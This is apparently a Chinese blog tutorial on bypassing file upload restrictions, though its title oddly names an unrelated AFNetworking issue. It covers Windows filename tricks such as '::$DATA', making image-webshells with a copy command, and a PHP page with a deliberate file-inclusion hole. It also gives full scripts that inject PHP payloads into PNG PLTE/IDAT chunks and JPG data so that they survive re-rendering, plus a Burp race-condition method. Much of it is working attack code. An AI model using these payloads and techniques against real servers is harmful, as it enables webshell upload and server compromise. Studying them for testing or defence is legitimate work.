afnetworking上传图片成功后failure代码块_文件上传漏洞详解(二)

文件上传漏洞详解(二)

70766d6fb2e8707fc3075e829c067fac.png


5、与操作系统相关

1、windows
上传不符合windows文件命名规则的文件名

  test.asp.

  test.php.

  test.asp(空格)

  test.php(空格)

  test.php:1.jpg

  test.php::$DATA

  shell.php::$DATA

会被某些版本的windows系统自动去掉不符合规则符号后面的内容。

2、linux
linux是大小写敏感的,因此一般检测也会区分大小写
但某些解析器是不区分大小写的,例如PHP,上传php不被解析,可以试试上传类似pHp后缀的文件名

3、CMS、编辑器漏洞
CMS漏洞:可以针对不同CMS存在的上传漏洞进行绕过
编辑器漏洞:比如FCK,ewebeditor等,可以针对编辑器的漏洞进行绕过

6、图片马

制作图片马
将一句话木马1.php和普通图片1.jpg合并
得到shell.jpg

copy 1.jpg /b + 1.php /a shell.jpg

11ddc63488770edc0e3636943b42d3f2.png

但直接访问图片并不能把图片当做PHP解析
还需要利用文件包含漏洞
在上传目录下建立一个php文件

 <?php /*本页面存在文件包含漏洞,用于测试图片马是否能正常运行!*/header("Content-Type:text/html;charset=utf-8");$file = $_GET['file'];if(isset($file)){    include $file;}else{    show_source(__file__);}

场景:

  只对文件头进行检测

  用getimagesize函数获取图像大小及相关信息

  php_exif模块来判断文件类型

7、二次渲染

绕过方法:

  找到渲染前后没有变化的位置

  将php代码写进去,就可以成功上传带有php代码的图片

gif

关于绕过gif的二次渲染
我们只需要找到渲染前后没有变化的位置
然后将php代码写进去,就可以成功上传带有php代码的图片

png

png图片由3个以上的数据块组成.

PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们

f98fbbd4822f5d73e84a52d7d00a7235.png

1、分析数据块

  IHDR
包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。
文件头数据块由13字节组成,它的格式如下图所示。

99e45dbf6033783801cdf4c8fe8eda06.png

  PLTE
辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

  IDAT
存储实际的数据,在数据流中可包含多个连续顺序的图像数据块
IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

  IEND
用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部
文件的结尾12个字符看起来总应该是这样的:00 00 00 00 49 45 4E 44 AE 42 60 82

2、绕过方法

  写入PLTE数据块
php底层在对PLTE数据块验证的时候,主要进行了CRC校验.
所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可.
这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像.
CRC脚本

import binasciiimport repng = open(r'2.png','rb')a = png.read()png.close()hexstr = binascii.b2a_hex(a)''' PLTE crc '''data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffffprint hex(crc)

写入IDAT数据块这里有国外大牛写的脚本,直接拿来运行即可.

<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,           0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {   $r = $p[$y];   $g = $p[$y+1];   $b = $p[$y+2];   $color = imagecolorallocate($img, $r, $g, $b);   imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'./1.png');?>
jpg

大佬脚本

<?php     /*    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().    It is necessary that the size and quality of the initial image are the same as those of the processed image.    1) Upload an arbitrary image via secured files upload script    2) Save the processed image and launch:    jpg_payload.php     In case of successful injection you will get a specially crafted image, which should be uploaded again.    Since the most straightforward injection method is used, the following problems can occur:    1) After the second processing the injected data may become partially corrupted.    2) The jpg_payload.php script outputs "Something's wrong".    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.    Sergey Bobrov @Black2Fan.    See also:    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/    */    $miniPayload = "=phpinfo();?>";    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {        die('php-gd is not installed');    }    if(!isset($argv[1])) {        die('php jpg_payload.php ');    }    set_error_handler("custom_error_handler");    for($pad = 0; $pad < 1024; $pad++) {        $nullbytePayloadSize = $pad;        $dis = new DataInputStream($argv[1]);        $outStream = file_get_contents($argv[1]);        $extraBytes = 0;        $correctImage = TRUE;        if($dis->readShort() != 0xFFD8) {            die('Incorrect SOI marker');        }        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {            $marker = $dis->readByte();            $size = $dis->readShort() - 2;            $dis->skip($size);            if($marker === 0xDA) {                $startPos = $dis->seek();                $outStreamTmp =                     substr($outStream, 0, $startPos) .                     $miniPayload .                     str_repeat("\0",$nullbytePayloadSize) .                     substr($outStream, $startPos);                checkImage('_'.$argv[1], $outStreamTmp, TRUE);                if($extraBytes !== 0) {                    while((!$dis->eof())) {                        if($dis->readByte() === 0xFF) {                            if($dis->readByte !== 0x00) {                                break;                            }                        }                    }                    $stopPos = $dis->seek() - 2;                    $imageStreamSize = $stopPos - $startPos;                    $outStream =                         substr($outStream, 0, $startPos) .                         $miniPayload .                         substr(                            str_repeat("\0",$nullbytePayloadSize).                                substr($outStream, $startPos, $imageStreamSize),                            0,                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .                                 substr($outStream, $stopPos);                } elseif($correctImage) {                    $outStream = $outStreamTmp;                } else {                    break;                }                if(checkImage('payload_'.$argv[1], $outStream)) {                    die('Success!');                } else {                    break;                }            }        }    }    unlink('payload_'.$argv[1]);    die('Something\'s wrong');    function checkImage($filename, $data, $unlink = FALSE) {        global $correctImage;        file_put_contents($filename, $data);        $correctImage = TRUE;        imagecreatefromjpeg($filename);        if($unlink)            unlink($filename);        return $correctImage;    }    function custom_error_handler($errno, $errstr, $errfile, $errline) {        global $extraBytes, $correctImage;        $correctImage = FALSE;        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {            if(isset($m[1])) {                $extraBytes = (int)$m[1];            }        }    }    class DataInputStream {        private $binData;        private $order;        private $size;        public function __construct($filename, $order = false, $fromString = false) {            $this->binData = '';            $this->order = $order;            if(!$fromString) {                if(!file_exists($filename) || !is_file($filename))                    die('File not exists ['.$filename.']');                $this->binData = file_get_contents($filename);            } else {                $this->binData = $filename;            }            $this->size = strlen($this->binData);        }        public function seek() {            return ($this->size - strlen($this->binData));        }        public function skip($skip) {            $this->binData = substr($this->binData, $skip);        }        public function readByte() {            if($this->eof()) {                die('End Of File');            }            $byte = substr($this->binData, 0, 1);            $this->binData = substr($this->binData, 1);            return ord($byte);        }        public function readShort() {            if(strlen($this->binData) < 2) {                die('End Of File');            }            $short = substr($this->binData, 0, 2);            $this->binData = substr($this->binData, 2);            if($this->order) {                $short = (ord($short[1]) << 8) + ord($short[0]);            } else {                $short = (ord($short[0]) << 8) + ord($short[1]);            }            return $short;        }        public function eof() {            return !$this->binData||(strlen($this->binData) === 0);        }    }?>

  随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg.

  使用脚本处理1.jpg,命令php jpg_payload.php 1.jpg

并不是所有图片都有空间填充payload
一个成功案例:画图软件构造1000*1000的纯白图片

8、条件竞争

如果先将文件上传到服务器,然后判断文件后缀是否在白名单里
这就在文件的处理顺序上出现了问题,不管文件类型是否合格就上传至服务器,之后再对其类型进行判断,这样的处理顺序导致了在多线程的情况下,有可能对于不合格的文件还没来得及删除就已经被访问,导致不合格的文件绕过了限制

因此我们可以打个时间差:上传1.php,只需要在它删除之前访问即可
可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址

  Payloads 是 Null payloads ,数目是 1000 ,线程 10

  访问上传的脚本,同样不用标记,不用 payload,数目1000,线程10

适用场景:有时间差

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值